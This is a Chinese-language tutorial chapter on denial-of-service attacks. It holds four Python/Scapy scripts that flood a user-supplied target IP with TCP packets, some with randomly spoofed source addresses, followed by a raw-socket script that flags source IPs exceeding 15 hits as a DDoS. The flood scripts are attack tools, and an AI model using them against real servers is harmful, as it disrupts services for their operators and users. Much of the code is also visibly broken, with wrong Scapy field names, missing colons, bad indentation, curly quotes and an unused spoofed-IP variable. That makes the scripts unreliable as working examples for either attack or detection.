DoS & DDoS 攻擊



在本章中,我們將學習有關 DoS 和 DdoS 攻擊的知識,並瞭解如何檢測它們。

隨著電子商務行業的蓬勃發展,Web 伺服器現在容易受到攻擊,並且成為駭客的簡單目標。駭客通常嘗試兩種型別的攻擊:

  • DoS(拒絕服務)
  • DDoS(分散式拒絕服務)

DoS(拒絕服務)攻擊

拒絕服務 (DoS) 攻擊是駭客試圖使網路資源不可用的嘗試。它通常會暫時或無限期地中斷連線到網際網路的主機。這些攻擊通常針對託管在關鍵任務 Web 伺服器上的服務,例如銀行、信用卡支付閘道器。

DoS 攻擊的症狀

  • 網路效能異常緩慢。

  • 特定網站不可用。

  • 無法訪問任何網站。

  • 接收到的垃圾郵件數量急劇增加。

  • 長期無法訪問 Web 或任何網際網路服務。

  • 特定網站不可用。

DoS 攻擊型別及其 Python 實現

DoS 攻擊可以在資料鏈路層、網路層或應用層實施。現在讓我們瞭解不同型別的 DoS 攻擊及其在 Python 中的實現:

單個 IP 單個埠

透過使用單個 IP 和單個埠號向 Web 伺服器傳送大量資料包。這是一種低階攻擊,用於檢查 Web 伺服器的行為。它可以在 Python 中使用 Scapy 實現。以下 Python 指令碼將幫助實現單個 IP 單個埠 DoS 攻擊:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

執行後,上述指令碼將詢問以下三件事:

  • 源和目標的 IP 地址。

  • 源埠號的 IP 地址。

  • 然後它將向伺服器傳送大量資料包以檢查其行為。

單個 IP 多個埠

透過使用單個 IP 和多個埠向 Web 伺服器傳送大量資料包。它可以在 Python 中使用 Scapy 實現。以下 Python 指令碼將幫助實現單個 IP 多個埠 DoS 攻擊:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

多個 IP 單個埠

透過使用多個 IP 和單個埠號向 Web 伺服器傳送大量資料包。它可以在 Python 中使用 Scapy 實現。以下 Python 指令碼實現單個 IP 多個埠 DoS 攻擊:

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

多個 IP 多個埠

透過使用多個 IP 和多個埠向 Web 伺服器傳送大量資料包。它可以在 Python 中使用 Scapy 實現。以下 Python 指令碼有助於實現多個 IP 多個埠 DoS 攻擊:

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

DDoS(分散式拒絕服務)攻擊

分散式拒絕服務 (DDoS) 攻擊是試圖透過從多個來源傳送大量流量來使線上服務或網站不可用的嘗試。

與拒絕服務 (DoS) 攻擊不同,DoS 攻擊使用一臺計算機和一個網際網路連線來用資料包淹沒目標資源,而 DDoS 攻擊使用許多計算機和許多網際網路連線,通常分佈在全球,稱為殭屍網路。大規模的容量型 DDoS 攻擊產生的流量以每秒數十吉位元(甚至數百吉位元)計量。可以在 https://tutorialspoint.tw/ethical_hacking/ethical_hacking_ddos_attacks.htm 中詳細瞭解。

使用 Python 檢測 DDoS

實際上,DDoS 攻擊有點難以檢測,因為您不知道傳送流量的主機是偽造的還是真實的。下面給出的 Python 指令碼將有助於檢測 DDoS 攻擊。

首先,讓我們匯入必要的庫:

import socket
import struct

from datetime import datetime

現在,我們將建立一個套接字,就像我們在前面的部分中建立的那樣。

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

我們將使用一個空字典:

dict = {}

以下程式碼行將以追加模式開啟一個文字檔案,其中包含 DDoS 攻擊的詳細資訊。

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

藉助以下程式碼行,程式每次執行時都會寫入當前時間。

file_txt.writelines(t1)
file_txt.writelines("\n")

現在,我們需要假設來自特定 IP 的命中次數。這裡我們假設如果特定 IP 命中次數超過 15 次,則可能是攻擊。

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

以下程式碼行將檢查 IP 是否存在於字典中。如果存在,則將其增加 1。

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

下一行程式碼用於消除冗餘。

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

執行上述指令碼後,我們將在文字檔案中獲得結果。根據指令碼,如果 IP 命中次數超過 15 次,則會將其列印為檢測到 DDoS 攻擊以及該 IP 地址。

廣告

© . All rights reserved.